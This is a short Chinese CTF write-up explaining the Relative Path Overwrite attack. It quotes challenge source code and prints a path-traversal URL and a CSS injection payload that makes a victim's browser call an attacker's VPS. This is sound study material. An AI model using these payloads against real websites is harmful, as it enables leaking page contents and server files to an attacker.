一個新型攻擊,網上尋找的文章不多,主要以http://www.tuicool.com/articles/eIf6Vje
為主
這個攻擊依賴於瀏覽器和網絡服務器的反應,利用服務器的Web緩存技術和配置差異。
其中某一期的pwnhub就是考察此知識點。
上面的文章已經講的很詳細,借用最近ctf的一道題目我進行總結一下。
http://117.34.111.15:3000/753157fe2d07bbd2c07e/user/15
頁面html內容:
<link href="style.css" rel="stylesheet" type="text/css" />
這個style.css加載后就是
http://117.34.111.15:3000/753157fe2d07bbd2c07e/user/15/style.css
但是上面的地址最后返回的內容還是http://117.34.111.15:3000/753157fe2d07bbd2c07e/user/15
的內容
利用這樣的一個特性,我們可以加載服務器上面任意的文件,只要頁面受我們控制,我們就可以注入進去數據。
瀏覽器會包容css,所以還是可以解析這個為css
在pwnhub那題中,這樣加載到了class.php的內容
http://www.a.com/user.php/271/2/%2f..%2f..%2f..%2fclass.php%2f71%2f/
*{}*{background-image:url(http://vpsip);}*{}
對於此題http://117.34.111.15:3000
的話,源碼把流程講的很清楚。
@level2.route('/user/<regex(".*"):uid>')
def user(uid):
'''
@uid userid
userid = 1 : admin
userid = 2 : robot
robot will send flag to admin every 10 minutes
admin will check if someone send a link to him
'''
if uid == 'style.css':
with open('static/style.css','rb') as f:
data = f.read()
return data
if session.get('uid') :
msgs = Message.query.filter_by(dstid=session.get('uid')).all()
print(msgs)
return render_template('user.html',msgs=msgs)
else:
return redirect(url_for('main.index'))
貼一下出題人的wp,很贊嘆這種獲取網頁源碼的方式,有點巧妙把。